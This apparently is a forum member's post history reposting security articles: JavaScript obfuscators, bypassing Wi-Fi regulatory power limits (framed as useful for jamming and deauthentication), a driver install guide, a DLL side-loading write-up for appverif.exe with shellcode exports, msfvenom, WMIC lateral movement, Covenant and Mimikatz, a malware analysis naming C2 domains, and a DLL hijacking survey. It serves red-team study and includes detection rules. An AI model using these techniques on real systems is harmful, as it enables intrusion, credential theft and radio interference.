Men in Black

Administrator

Last active [hidden]

  1. 4 weeks ago
    Tue May 18 01:18:27 2021
    Men in Black started the conversation Mã hóa Javascript.

    Các trang web chuyên dùng để mã hóa và giải mã code Javascript phục vụ tùy nhu cầu sử dụng của người dùng
    https://javascriptobfuscator.com/Javascript-Obfuscator.aspx : đây là trang mã hóa mạnh mẽ nhất, khó giải mã, và hiện tại mình phải đau đầu vì không tìm ra công cụ để giải mã nó, khi mã hóa có dạng như sau

    var _0xb89f=["\x53\x61\x79\x48\x65\x6C\x6C\x6F","\x47\x65\x74\x43\x6F\x75\x6E\x74

    http://dean.edwards.name/packer/[/url]: mã hóa xong sẽ có dạng

    eval(function(d,e,a,c,b,f){b=function(a){return...

    https://www.base64encode.org/" : khi mã hóa sẽ có dạng những ký tự loằng ngoằng khó hiểu

    PCFET0NUWVBFIGh0bWw+PEhUTUw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT5DU1MzIEJ1dHRvbiBHZW5lcmF0b3IgfCBCZXN0IEJlYXV0aWZ1bCBDU1

    https://congnghe.club/pages/2-javascript-obfuscator: mã hóa xong sẽ có dạng

    with(escape())with(eval.bind)eval...
  2. 4 months ago
    Sat Feb 13 11:32:19 2021

    The default TX-Power of wireless is set to 20 dBm but you can increase it with a little trick to 30 dBm but let me warn you first that it might be illegal in your country, so use it at your own risk. Moreover some models will not support these settings or wireless chip may state that it "can" transmit with higher power, but the device's manufacturer probably did not place the appropriate heat sink in order to accomplish this.

    In different countries, legislation and technical standards varies, including in relation to Wi-Fi. In some countries it is not allowed to use the frequencies of some Wi-Fi channels (for example, channels 12, 13 and 14 can not be used in the USA). In most countries, a Wi-Fi signal power limit of 20.0 dBm is set. But there are countries in which there is a limitation of 30.0 dBm. You can take advantage of this loophole (make your wireless thinks it is located in a country where 30.0 dBm is allowed) and raise its TX Power to a value of 30.0 dBm.

    Regulatory domains (or "regdomain") is the country in which this device is supposed to work. There is also an accompanying database, in which are prescribed the permitted frequencies and the allowed power.

    The algorithm is:

    • set the system-wide setting of the regulatory domain to the value, that matches to a country where the power is allowed to be 30.0 dBm;
    • set the increased power for the wireless adapter.

    In theory, the described method should work for many wireless cards, but in practice there are the following limitations:

    • the physical inability of an adapter to operate at capacities greater than 20.0 dBm (for example, the wireless interface initially shows a power of 15.0 dBm while 20.0 dBm is allowed. In this case it is impossible to raise the power above 15.0 dBm, even to 20.0 dBm);
    • driver features, for example, some drivers ignore system settings. This is not an insoluble problem, but each model needs its own approach.

    To check capabilities of your wireless adapter issue the command:

    sudo iw list

    For example, the following frequencies and power are allowed for the US:

    [attachment:6027b6410e384]

    [attachment:6027b654300d7]

    You can examine the full current database in pain text here .

    Countries where allowed channels 1 through 13 on 30.0 dBm power are (for instance):

    • BZ
    • GY
    • NZ
    • VE

    Note that for channels at 5 GHz they have different values (different list of allowed frequencies and powers).

    Next, I'll show the power increasing of Alfa AWUS052NH in Kali Linux. The old guides tell to install additional packages, but currently this is not necessary. Everything you need is already available in Kali Linux!

    To find out which region is currently configured, run the command:

    sudo iw reg get

    [attachment:6027b6deec6ef]

    The string country 00 indicates that I have not set any value and the default settings was applied.

    Now set the regulatory domains to BZ:

    sudo iw reg set BZ

    To insure the setting was applied run the command:

    sudo iw reg get

    At the same time, you can look at the new features with the command:

    sudo iw list

    [attachment:6027b71eed7e1]

    To view the name of the wireless interface and its current status, use the command:

    sudo iw dev

    Next, increase the power (replace wlan0 with the actual name of your wireless interface):

    sudo ip link set wlan0 down
    sudo iw dev wlan0 set txpower fixed 30mBm
    # sudo iw wlan0 set monitor control # if monitor mode needed
    sudo ip link set wlan0 up

    Checking:

    sudo iw dev

    [attachment:6027b74b45332]

    The line txpower 30.00 dBm indicates that we have succeeded.

    How to increase TX-Power of Alfa AWUS036NHA

    The above commands have no effect for AWUS036NHA. The driver of this adapter ignores regulatory domain value.

    If you have Alfa AWUS036NHA or any other that ignores settings of regulatory domain, this is no reason to give up.

    We are able to change database of the world regulatory domain.

    First let's check which country your wireless card is made for:

    sudo iw reg get

    [attachment:6027b7b4d58f2]

    In my case, the country GB line indicates that the adaptor was produced for the country that is named GB in the database.

    My method differs from other tutorials, where the wireless-regdb and crda packages are manually installed. These packages should already be installed on your system (in Kali Linux is the default). The only thing we do is replace the database file.

    The latest versions of Kali Linux do not have the crda package installed, let’s install it:

    sudo apt install crda

    Install the dependency required to compile the database:

    sudo apt install python3-m2crypto

    We clone the source files:

    git clone git://git.kernel.org/pub/scm/linux/kernel/git/sforshee/wireless-regdb.git
    cd wireless-regdb/

    Now we need to edit the database file:

    gedit db.txt

    In the file, find the country 00 line and replace line after it with something like that (correct it up to you):

    (2402 - 2482 @ 40), (30)
    (5170 - 5835 @ 80), (30)
    (57000 - 66000 @ 2160), (40)

    [attachment:6027b80ae1a5f]

    Now I find and change the lines according to the country wireless made for, for me it is GB (you may have a different country – it depends on your adapters, you can see this value with the sudo iw reg get command):

    [attachment:6027b821e824c]

    Save and close the file.

    Patch files for using Python3

    sed -i 's/#!\/usr\/bin\/env python/#!\/usr\/bin\/env python3/' *.py

    Execute the command:

    make

    As a result, a binary file of the database (regulatory.bin) was created from the text file. We will use it to replace the file with the same name in the system.

    Delete the original database file:

    sudo rm /lib/crda/regulatory.bin

    We copy our modified database:

    sudo cp regulatory.bin /lib/crda/regulatory.bin

    Once again for the new DB format, which is also used:

    sudo rm /usr/lib/firmware/regulatory.db
    sudo cp regulatory.db /usr/lib/firmware/regulatory.db

    We copy the required public key (the database file is signed with a specially generated key for our user):

    sudo cp $USER.key.pub.pem /lib/crda/pubkeys/
    sudo cp $USER.x509.pem /usr/lib/crda/pubkeys/

    Restart your computer.

    Now do not use sudo iw reg set BZ.

    Let us check:

    sudo iw reg get

    [attachment:6027b87fe91de]

    Strings

    country GB: DFS-ETSI
        (2402 - 2482 @ 40), (N/A, 30), (N/A)

    mean we are able increasing the power to 30 dBm.

    We try:

    sudo ip link set wlan0 down
    sudo iw dev wlan0 set txpower fixed 30mBm
    # sudo iw wlan0 set monitor control # if monitor mode needed
    sudo ip link set wlan0 up

    Result:

    [attachment:6027b8ad8a26c]

    After we patched the database, there is no longer any need to change the value of the regulatory domains for any wireless interface!

    Conclusion

    Increasing TX power of the Wi-Fi adapter is undeniably useful only for Wi-Fi jamming, as well as for deauthentication attacks. In all other attacks, increasing TX power would not matter. Since power affects how loudly your Wi-Fi adapter is “talking”, but does not increase its sensitivity (how well it ‘hears’ others).

    Changing value of regulatory domains lets to unlock some channels that might not be available in your country.

    If you want to return everything to its original state, then run the following commands:

    sudo apt purge wireless-regdb crda
    sudo apt install wireless-regdb
  3. Sat Feb 13 10:02:53 2021

    [attachment:6027a4a8aba1f]

    What is the chipset in Alfa AWUS1900

    The RTL8814AU chipset has the following W-Fi adapters:

    • Alfa AWUS1900
    • TRENDnet TEW-809UB
    • ASUS USB-AC68
    • TP-LINK Archer T9UH
    • D-Link DWA-192

    They are especially loved by those who perform wireless security testing of Wi-Fi networks, since they are modern wireless adapters that support monitor mode and can perform wireless injections.

    The best on this list is the Alfa AWUS1900 .

    Previously, the realtek-rtl88xxau-dkms driver had support for the RTL8814AU chipset and for these wireless cards to work, it was enough to install the specified driver – on Kali Linux this could be done directly from the default repository, on other distributions it had to be compiled. But now RTL8814AU chipset support is disabled in the realtek-rtl88xxau-dkms driver! A separate driver has been made for this chipset, which may conflict with RTL8814AU! These changes are recent, so the old instructions for installing the driver for the Alfa AWUS1900 do not work.

    If you do not need the realtek-rtl88xxau-dkms driver (now supports RTL8812AU/21AU chipsets), then uninstall it:

    sudo apt remove realtek-rtl88xxau-dkms

    If you need it, then do not delete it and check if they will conflict.

    How to install the Alfa AWUS1900 (RTL8814AU) driver in Kali Linux

    To install the RTL8814AU driver, run the following commands.

    Install dependencies:

    sudo apt install dkms build-essential libelf-dev linux-headers-`uname -r`

    Download driver source code:

    git clone https://github.com/aircrack-ng/rtl8814au
    cd rtl8814au

    Install the driver as a DKMS module – this means that when updating the kernel, you do not have to manually recompile the driver for the new kernel version. This will be done automatically by the DKMS module. Also note that the make command is unnecessary since the compilation is done by the DKMS module.

    sudo make dkms_install

    [attachment:6027a268bf92c]

    A reboot may be required for the driver to work.

    Pay attention to the lines:

    DKMS: install completed.
    dkms status
    8814au, 5.8.5.1, 5.9.0-kali2-amd64, x86_64: installed

    DKMS reports that the installation is complete and that the status for 8814au is “installed”.

    If you want to remove this driver, then go to the source code folder and execute there:

    sudo make dkms_remove

    How to install rtl8814au driver in Arch Linux, BlackArch

    Start by installing the pikaur program according to the “Automatic installation and update of AUR packages” article. The pikaur program is analogous to pacman, but for working with the AUR, it allows you to automatically install and update programs from the AUR. You will definitely love pikaur!

    Then run the command:

    pikaur -S rtl8814au-aircrack-dkms-git

    How to install rtl8814au driver in Debian, Linux Mint, Ubuntu

    Run the following commands to install the rtl8812au driver.

    Install dependencies:

    sudo apt update
    sudo apt install git build-essential libelf-dev linux-headers-`uname -r` debhelper dpkg-dev dkms bc

    Download driver source code:

    git clone https://github.com/aircrack-ng/rtl8814au
    cd rtl8814au

    Install the driver as a DKMS module – this means that when updating the kernel, you do not have to manually recompile the driver for the new kernel version. This will be done automatically by the DKMS module. Also note that the make command is unnecessary since the compilation is done by the DKMS module.

    sudo make dkms_install

    [attachment:6027a4d9e799e]

    dkms status
    8812au, 5.6.4.2_35491.20191025, 4.19.0-10-amd64, x86_64: installed
    8814au, 5.8.5.1, 4.19.0-10-amd64, x86_64: installed

    DKMS reports that the installation is complete and that the status for 8814au is “installed”.

    Removing the driver

    To remove a driver from your system, open a terminal in your source directory and run the following command:

    sudo make dkms_remove

    How to set Alfa AWUS1900 into monitor mode

    The main thing to learn by now is to use the “ip” and “iw” commands instead of “ifconfig” and “iwconfig” – this applies to all Wi-Fi adapters.

    For details, see the article: Linux Wi-Fi Cheat Sheet: Tips and Troubleshooting.

    USB2.0/3.0 mode switch

    Initial it will use USB2.0 mode which will limit 5G 11ac throughput (USB2.0 bandwidth only 480Mbps => throughput around 240Mbps). When modprobe add following options will let it switch to USB3.0 mode at initial driver:

    options 8814au rtw_switch_usb_mode=1

    Switch usb2.0 => usb3.0

    sudo sh -c "echo '1' > /sys/module/8814au/parameters/rtw_switch_usb_mode"

    Switch usb3.0 => usb2.0

    sudo sh -c "echo '2' > /sys/module/8814au/parameters/rtw_switch_usb_mode"
  4. 5 months ago
    Fri Dec 25 09:28:29 2020
    Men in Black started the conversation https://itm4n.github.io/.

    https://itm4n.github.io/

  5. 6 months ago
    Thu Dec 17 03:31:45 2020
    Men in Black started the conversation DLL Side-loading Appverif.exe.

    A couple of weeks ago, FireEye published a blog called “Abusing DLL Misconfigurations .” The gist of the blog post is that when an application is executed, it will try and load DLLs for whatever functionality it needs. If the Windows Side-by-side manifest for the application does not have the explicity full path of the DLL, an attacker could try and get the application to load their malicious DLL instead. This can be done by creating your malicious DLL and placing it in the same directory the application is executed from.

    The blog post mentions a Windows application called Dism.exe being vulnerable to this attack. Dism.exe is located in the C:\Windows\System32\ directory, and when executed will look for a “DismCore.dll” library to load. It looks for this first in its current directory (System32), and then in the .\Dism\ directory.

    An attacker can take advantage of this situation by copying Dism.exe to a directory of their choosing, and then placing their own malicious DismCore.dll file in that directory. When Dism.exe is executed from the new directory, it will load the attacker’s DismCore.dll and execute the attacker’s code, such as to launch a reverse shell / C2 agent. Since Dism.exe is a MS signed binary, this means the attacker’s code will execute in the context of a MS signed process, and could allow for a application whitelist bypass if all MS signed binaries are trusted.

    Discovering New DLL Side-loading

    After reading the FireEye blog post, I wondered how many other MS signed binaries could be used for this. On my Windows 10 system, there are 586 .exe files in C:\windows\system32\. Surely, Dism.exe wasn’t the only one vulnerable to this attack.

    The FireEye blog describes how they discovered the Dism.exe side-loading attack through static and dynamic analysis. I decided to try this myself. I thought it might be quicker to try dynamic analysis rather than static, so I downloaded API Monitor, a tool mentioned in the blog. API Monitor will hook into a process you execute, and you can specify which API calls and libraries you want to monitor as the process runs.

    I wasn’t sure how to automate this to look at all 586 .exe’s quickly, so I embarked on the tedious task of load each .exe one by one into API Monitor and analyzing the results.

    First, I copied all of the .exe’s in C:\windows\system32\ into a new directory, C:\Exclusions\side-dll-tests\.

    C:\Exclusions\side-load-dll-tests>copy C:\Windows\System32\*.exe .

    Then, open up API Monitor using the correct architecture (x86 or x64). I used x64 for this testing. Also, make sure to run it as an Administrator so it has the privileges necessary to hook into processes.

    Before attaching API Monitor to a process, you will want to set an “API Filter.” For this, I did a search for anything with “loaddll” or “loadlibrary” and included that. I also included the GetProcAddress API.

    [attachment:5fdffe8d67000]

    To attach to a new process, click on “Monitor New Process” next to the API filter box.
    [attachment:5fdffecb3e1ea]

    You will then be prompted to chose the new application to launch. Select the copied appverif.exe application, and set the “Attach Using” option to “Remote Thread (Standard).”
    [attachment:5fdffed7cc6e4]

    When you click “Ok”, appverif.exe will execute. If a GUI window pops up, you can close it. In API Monitor, you should a bunch of information now populated under “Monitored Processes” and the summary window. In “Monitored Processes”, expand the entry, and then expand “Modules.” Under Modules, look for “appverif.exe” and click on that, so that you only see libraries and API calls used by appverif.exe.
    [attachment:5fdffeec04094]

    You should see the “LoadLibraryExW” API loading “appverifUI.dll.” It looks like the full path to the DLL is not specified (it is in System32). To test if appverif.exe will try and load an appverifUI.dll in its same directory, create a new text file in C:\exclusions\side-load-dll-tests\ and name it ” appverifUI.dll.” Then, rerun appverif.exe in API Monitor.
    [attachment:5fdfff01a9376]

    You should now see an error when appverifUI.dll is loaded, saying it is “not a valid Win32 application…”

    This all makes it seem like appverif.exe is vulnerable to DLL side-loading!

    Exploiting Appverif.exe

    To begin exploiting this issue, download DueDLLigence from FireEye’s github. Load the project into Visual Studio.

    FireEye’s blog post mentions that you need to know the DLL exports of the DLL being loaded by the application. This is seen by the “GetProcAddress” API calls. Look back in API monitor to the first execution of appverif.exe where it successfully loaded appverifUI.dll from System32. You should see GetProcAddress calling “StartUI” and “DisplayMessageBoxW.”
    n Visual Studio, modify DueDLLigence.cs to contain these DLL exports. One of them will run the function “RunShellcode()” to execute your payload. The other export doesn’t need to do anything. I had “StartUI” execute the shellcode.

    [DllExport("StartUI", CallingConvention = CallingConvention.StdCall)]
    public static bool StartUI()
    {
    	RunShellcode();
    	return false;
    }
    
    [DllExport("DisplayMessageBoxW", CallingConvention = CallingConvention.StdCall)]
    public static bool DisplayMessageBoxW() { return false; }

    [attachment:5fdfff476e026]

    DueDLLigence needs base64 encoded shellcode to execute something. For this test, I chose to have it run calc.exe. I generated the base64 encoded shellcode with msfvenom in a Kali linux virtual machine.

    msfvenom -p windows/x64/exec CMD="calc.exe" | base64 -w0

    Build the project in Visual Studio, copy the compiled DueDLLigence.dll file into C:\Exclusions\side-load-dll-tests\, and rename it to appverifUI.dll. Execute appverif.exe. You will get a warning that appverif.exe is no longer working, and then calc should start. If you use procmon to monitor processes, you should see appverif.exe starting calc.exe.

    [attachment:5fdfff735bba3]

    Abusing for Lateral Movement

    One issue with the appverif.exe side-load attack is that it requires administrator privileges to run (you get a UAC prompt when executing it). This makes it less useful for initial execution on a system where you might not be in an elevated context. However, if you are doing lateral movement in an elevated context, such as through WMI, this could be used to execute code on a remote system. So, if you have credentials for a user that is a local administrator on a remote system, you can (possibly) use appverif.exe for lateral movement.

    To test appverif.exe as a lateral movement option, I started up my AD lab. My lab contains a bunch of Server 2016 systems that I use to act like workstations. While appverif.exe was available on every Windows 10 system I have used, it was not installed on my Server 2016 systems. To perform this test, I just installed appverif from Microsoft and each of my systems.

    After appverif was installed, I copied appverif.exe and my “malicious” appverifUI.dll from wkst01 to srv01.

    copy C:\Users\regularuser\Desktop\appverif* \\srv01.murph.coop\c$\users\public\

    [attachment:5fdfffae8a55a]

    After it was copied, I then used WMIC on wkst01 to execute the copied appverif.exe on srv01.

    wmic /node:"srv01.murph.coop" /user:"murph.coop\murphda" /password:"<password>" process call create "cmd.exe /c C:\users\public\appverif.exe"

    [attachment:5fdfffc2d8859]

    I then RDP’d to srv01 and confirmed that calc.exe had been launched.

    [attachment:5fdfffdfbbcf4]

    Launching Covenant

    After the test with calc.exe, I then wanted to use appverif.exe to launch a Covenant grunt on srv01. First, you need to generate and download a grunt binary. Then, donut can be used to get the shellcode of the grunt binary to be used with DueDLLigence. The PowerShell commands to get the shellcode as a base64 string is from Rastamouse ‘s blog .

    .\donut.exe -f C:\Exclusions\Payloads\GruntStager.exe -o C:\Exclusions\Payloads\GruntStager.bin
    [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\exclusions\payloads\GruntStager.bin")) | clip

    [attachment:5fe00034e081d]

    Copy the base64 encoded shellcode into DueDLLigence.cs and rebuild. Copy DueDLLigence.dll to srv01 and rename to appverifUI.dll. Execute again with WMIC.

    [attachment:5fe000829fd1d]

    On srv01, you should see that appverif.exe is running.

    [attachment:5fe000a7380f6]

    And back in your Covenant web interface, you should see a new Grunt has called in running as appverif.exe and in high integrity.

    [attachment:5fe000bf36664]

    Finally, because we are all 1337 hackers here, execute Mimikatz’s LogonPasswords right away to dump those creds.

    [attachment:5fe000db469d2]

    Yay!

    Note: when appverif.exe executes after the side-loading attack, an error message will appear saying that the application has stopped working. I think that if you are executing over WMI, the user doesn’t see this warning. When I was testing with calc.exe, I didn’t see the message when RDP’d to the system while I ran appverif.exe remotely. However, you cna always disable the warning message by changing the below registry key from “0” to “1.”

    HKCU\Software\Microsoft\Windows\Windows Error Reporting\DontShowUI

    How is this Useful?

    It’s reasonable to ask why any of this nonsense with appverif.exe is useful. It requires you to drop files on disk (appverifUI.dll) and it requires local administrator privileges to execute. Why good does this do an attacker?

    Well, as the FireEye blog mentions, using appverif.exe for code execution can work as an application whitelisting bypass. Often, but not always, when organizations configure application whitelisting, they will whitelist all binaries that are signed by trusted sources, such as Microsoft. Appverif.exe is signed by Microsoft, so this can help bypass those kinds of whitelists.

    Appverif.exe can also be useful as a way to get past the attention of an overworked security analyst. If you’re an analyst looking at a process that is signed by Microsoft, you might not think twice about it and assume it is benign. Additionally, if your C2 is using Azure Domain Fronting with a frontable domain that looks legitimate (tip: use FindFrontableDomains ), then your payload could look like a Microsoft signed binary calling out to a Microsoft related domain. Pretty easy for an overburdened and stressed out security analyst to overlook! (I’ve been in that situation before…)

    Detecting the Attack

    The FireEye blog has a section near the bottom called “Detection and Preventative Measures.” They mention several ways to detect or prevent DLL side-loading generally.

    For the appverif.exe attack mentioned in this blog post, you could try and monitor for appverif.exe starting outbound network connections. I don’t have data to confirm this is “unusual”, but I imagine it is. Another detection would be appverif.exe running outside of System32 (since the above attack already requires admin privileges, an attacker could just overwrite the appverifUI.dll in System32 instead of copying everything to an arbitrary directory).

    I’ve heard of Sigma rules, but have never actually used them. I tried to create some possible detection rules for the above attack, but I don’t have my lab setup to ingest activity logs and run these rules against them. So, it’s likely none of this will work.

    Rule to detect appverif.exe running outside of C:\Windows\System32\ in a user’s directory:

    title: Appverif.exe DLL side-loading attack
    id: 20457122-a684-410d-adad-af700eb23520
    status: experimental
    description: This rule is meant to detect when appverif.exe is used in a DLL side-loading attack to gain code execution to bypass application whitelisting. Detects when appverif.exe is spawned outside of WINDOWS\System32
    references:
        - https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/
    tags:
        - attack.execution
        - attack.T1073
    author:@fatrodzianko
    date: 2020/02/15
    logsource:                     
        category: process_creation  
        product: windows            
    detection:
        selection:
            Image: 'C:\users\\*\appverif.exe'
        condition: selection
    fields:
        - PPID to determine what spawned appverif.exe
    falsepositives:
        - Unknown
    level: high
    

    Rule to try and detect appverif.exe spawning a new process:

    title: Appverif.exe DLL side-loading attack to spawn new process
    id: 5e491e78-0d48-4ee6-9b0a-82d1403bb131
    status: experimental
    description: This rule is meant to detect when appverif.exe is used in a DLL side-loading attack to gain code execution to bypass application whitelisting. Detects when appverif.exe spawns a new process
    references:
        - https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/
    tags:
        - attack.execution
        - attack.T1073
    author:@fatrodzianko
    date: 2020/02/15
    logsource:                     
        category: process_creation  
        product: windows            
    detection:
        selection:
            ParentImage: *\appverif.exe
    		Image:
    			- '*\cmd.exe'
                - '*\powershell.exe'
                - '*\wscript.exe'
                - '*\cscript.exe'
                - '*\sh.exe'
                - '*\bash.exe'
                - '*\reg.exe'
                - '*\regsvr32.exe'
                - '*\BITSADMIN*
    			- '*\powershell.exe'
    			- '*\iexplore.exe'
    			- '*\calc.exe'
    			- '*\notepad.exe'
    			- '*\svchost.exe'
    			- '*\rundll32.exe'
    			- '*\wmic.exe'
    			- '*\msiexec.exe'
    			- '*\msbuild.exe'
    			
        condition: selection
    fields:
        - unknown
    falsepositives:
        - Unknown
    level: high

    This can both be found on github .

    What’s Next?

    I stopped my initial search for DLL side-loading attacks in System32 when I found appverif.exe. Mercifully, that was near the beginning of the list. I imagine there are others to find that don’t require administrator privileges. Someday I will have the time to go through System32 and find them, or hopefully find some way to automate this discovery. One can dream!

    Disclosures

    I submitted this as a security report to Microsoft on 2/14/2020. Microsoft responded back almost immediately, saying:

    As submitted this attack requires administrative privileges. Reports that are predicated on having administrative/root privileges are not valid reports because a malicious administrator can do much worse things.

    An understandable response from MS. I only really submitted it in the off chance this is something they might patch. I’ve never submitted anything to MS before, so I wasn’t sure what they would take as a real security issue to fix or not. Maybe someday I’ll get a CVE and be a “real” hacker…

  6. Tue Dec 15 05:35:04 2020
    Men in Black started the conversation [pdf] DLL SIDE-LOADING.

    Link file

  7. Tue Dec 15 05:25:56 2020

    Recently, FortiGuard Labs came across several malicious documents that exploit the vulnerability CVE-2012-0158. To evade suspicion from the victim, these RTF files drop decoy documents containing politically themed texts about a variety of Vietnamese government-related information. It was believed in a recent report that the hacking campaign where these documents were used was led by the Chinese hacking group 1937CN. The link to the group was found through malicious domains used as command and control servers by the attacker. In this blog, we will delve into the malware used in this campaign and will try to provide more clues as to the instigator of this campaign.

    [attachment:5fd81097dd97e]

    [attachment:5fd81097e5c69]

    Sample decoy documents

    When the documents are opened, they drop several files in one of the following folders:

    • %AppData%\Microsoft\Credentials
    • %AppData%\Microsoft\SystemCertificates
    • %AppData%\Microsoft\Windows\Templates

    Some samples drop the following files:

    • Taskeng.exe – signed legitimate GoogleUpdate.exe version 1.3.33.5
    • Psisrndrx.ebd – encrypted blob containing malware file
    • Goopdate.dll – decrypter and loader of malware file

    Some drop the following files:

    • SC&Cfg.exe – signed legitimate McAfee AV application
    • Vsodscpl.dll – contains the malware file

    Others drop the following files:

    • Systemm.exe - signed legitimate GoogleUpdate.exe version 1.3.30.3
    • Systemsfb.ebd - encrypted blob containing malware file
    • Goopdate.dll – decrypter and loader of malware file

    Similar to other APT attacks, such as MONSOON APT, this APT uses DLL hijacking to evade the behavior monitoring technologies of security programs.

    DLL Hijacking

    DLL hijacking is a technique used by some APT malware in which instead of the legitimate application (.exe) loading the benign DLL, the application is tricked into loading a DLL containing malicious code. This technique is employed to evade Host Intrusion Prevention System (HIPS) of security programs that monitor the behaviors of executed files. Most HIPS tools whitelist signed or trusted files, thereby excluding malware loaded using DLL hijacking by signed files from behavior monitoring.

    In the context of this attack, taskeng.exe and SC&Cfg.exe are signed legitimate applications; however, they are tricked into loading malware that are disguised as the legitimate Goopdate.dll and Vsodscpl.dll files.

    [attachment:5fd8114f7bcbe]

    [attachment:5fd8115b69f1c]

    Taskeng.exe and SC&Cfg.exe file information

    Next, Taskeng.exe needs to load and import some functions from the original Goopdate.dll file; however, the Goopdate.dll was hijacked to contain malicious code, effectively changing the original code execution to execution of the malicious code.

    [attachment:5fd81192aa8e6]

    SC&Cfg.exe import table containing import from vsodscpl.dll

    Once the malicious DLLs are loaded, the DLLs decrypt (from psisrndrx.ebd (1st case) or from its body (2nd case)) and load a Trojan downloader. The Trojan downloader is a DLL file. It is not dropped on disk but is only executed in memory. Also, the actual Trojan downloader in memory when dumped will not run. This is because the ‘MZ’ in the IMAGE_DOS_HEADER, the DOS stub, and the ‘PE’ signature were deliberately removed. This was done to prevent the dumped file from being analyzed properly in a debugger and decompiler. However, we can easily fix the dump by adding the ‘MZ’, a DOS stub, and the ‘PE’ signature.

    [attachment:5fd811ba3ffd3]

    Missing header items as anti-analysis

    This Trojan downloader downloads a RAT (Remote Access Trojan), which we will call “NewCore” RAT, from the following domains:

    • web.thoitietvietnam.org
    • dalat.dulichovietnam.net
    • halong.dulichculao.com

    Trojan Downloader

    The Trojan downloader first creates an autostart registry entry so it runs whenever the machine is rebooted:
    HKLM/HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    Microsoft Windows Media = “%AppData%\Microsoft\Credentials\.exe”
    As an anti-VM, it checks whether the environment has the registry key:
    HKCR\Applications\VMwareHostOpen.exe
    Before it can download the NewCore RAT, it needs to send the following information to the C&C server:

    • OS version
    • Processor speed
    • Number of processors
    • Physical memory size
    • Computer name
    • User name
    • User privilege
    • Computer IP address
    • Volume serial number

    The above information is converted to its hex string representation, and then sent to the C&C server via HTTP GET:

    [attachment:5fd847cf01ab4]

    Shutdown and restart machine commands

    [attachment:5fd847e7682c0]

    File manager, monitor screen, command shell commands

    [attachment:5fd84819270b8]

    File manager subcommands

    Based on the strings found in its body, this malware may have been derived from the PcClient and PcCortr backdoors whose source codes are publicly available, especially on Chinese language coding forums. PcClient detections usually include PcCortr.

    [attachment:5fd848441e091]

    Strings related to PcCortr modules

    [attachment:5fd84867890ef]

    [i]PcClient and PcCortr source codes can be downloaded from Chinese coding forums[/i

    PcClient was used in the past by some APT groups such as Nitro , which were also linked to a China-based hacker.

    According to the PDB file string embedded in the NewCore RAT body, the creator of the project is someone using the handle “hoogle168”.

    [attachment:5fd848cb070b1]

    We have little clue as to who this individual is, so we tried to look for information about this handle. Our investigation led us to several Chinese language forum pages. Looking at these forums, it seems like a user using the handle “hoogle168” is very active on a certain coding forums, and is proficient in C and VC++. This user even replied to a thread and gave advice on what to learn to develop remote control software. We don’t know for sure if this person is the NewCore author.

  8. Thu Dec 10 07:37:30 2020
    Men in Black started the conversation Hijacking DLLs in Windows.

    DLL Hijacking is a popular technique for executing malicious payloads. This post lists nearly 300 executables vulnerable to relative path DLL Hijacking on Windows 10 (1909), and shows how with a few lines of VBScript some of the DLL hijacks can be executed with elevated privileges, bypassing UAC.

    DLL Hijacking

    First of all, let’s get the definition out of the way. DLL hijacking is, in the broadest sense, tricking a legitimate/trusted application into loading an arbitrary DLL. Terms such as DLL Search Order Hijacking, DLL Load Order Hijacking, DLL Spoofing, DLL Injection and DLL Side-Loading are often -mistakenly- used to say the same. At best such terms describe specific cases of DLL hijacking, but are often used interchangeably and therefore incorrectly. As an umbrella term, DLL hijacking is more accurate, as DLL hijacking always involves a DLL taking over from a legitimate DLL.

    Attackers have been seen to use DLL hijacking in different ways and for different reasons. Motives include execution (executing malicious code through a trusted executable may be less likely to set off alarm bells, and in some cases even bypasses application whitelist features such as AppLocker [1]), obtaining persistence (if the target application is pre-installed and runs regularly, so will the malicious code) and privilege escalation (if the target application runs under elevated permissions, so will the malicious code).

    There is a variety of approaches to choose from, with success depending on how the application is configured to load its required DLLs. Possible approaches include:

    • DLL replacement: replace a legitimate DLL with an evil DLL. This can be combined with DLL Proxying [2] , which ensures all functionality of the original DLL remains intact.
    • DLL search order hijacking: DLLs specified by an application without a path are searched for in fixed locations in a specific order [3] . Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL. This sometimes includes the working directory of the target application.
    • Phantom DLL hijacking: drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load [4] .
    • DLL redirection: change the location in which the DLL is searched for, e.g. by editing the %PATH% environment variable, or .exe.manifest / .exe.local files to include the folder containing the evil DLL [5 , 6 ] .
    • WinSxS DLL replacement: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often referred to as DLL side-loading [7 ].
    • Relative path DLL Hijacking: copy (and optionally rename) the legitimate application to a user-writeable folder, alongside the evil DLL. In the way this is used, it has similarities with (Signed) Binary Proxy Execution [8 ]. A variation of this is (somewhat oxymoronically called) ‘bring your own LOLbin’ [9 ] in which the legitimate application is brought with the evil DLL (rather than copied from the legitimate location on the victim’s machine).

    Finding vulnerable executables

    The biggest challenge is to find a vulnerable executable that can be exploited under default user permissions. When targeting pre-installed system executables on Windows, that typically excludes the first option, whilst any folders eligible in options 2 and 3 have to be user writeable, as should the the files and folder in options 4 and 5. This is usually not the case.

    That leaves us with option six, the weakest variant, which the remainder of this post will focus on. Although usually unsuitable to obtain persistence or privilege escalation, it is often seen in the wild. Take OceanLotus/APT32, who at the end of 2019 have been observed to use a legitimate rekeywiz.exe alongside a malicious duser.dll [10 , 11 ]. In this case, the malware embedded the legitimate software and dropped it to disk, adopting the ‘bring your own LOLbin’ approach (another way of achieving the same would have been to copy the legitimate executable from the \system32\ folder, assuming the executable hasn’t been patched yet).

    To prevent new versions of this technique to be successful, it is worthwhile identifying executables that are vulnerable to this kind of DLL hijacking. This will provide red teamers with new means for execution, but more importantly, it will allow threat hunters and defenders to take appropriate measures to detect and prevent.

    Approach

    To keep things focussed, let’s limit ourselves to the executables present by default in c:\windows\system32\. On the tested Windows 10 v1909 instance, this comprised a total of 616 executables, or 613 if you only consider signed applications.

    To monitor which DLLs each process attempts to load, we’ll use the well-known Procmon [12 ] tool. The approach taken is therefore: (1) copy trusted executable to a user-writable location; (2) run copied executable; (3) use Procmon to identify DLLs looked for in user writable location.

    [attachment:5fd1cc8676cdd]

    Procmon capturing DLL queries by a copy of winsat.exe, located in c:\users\wietze\downloads\.

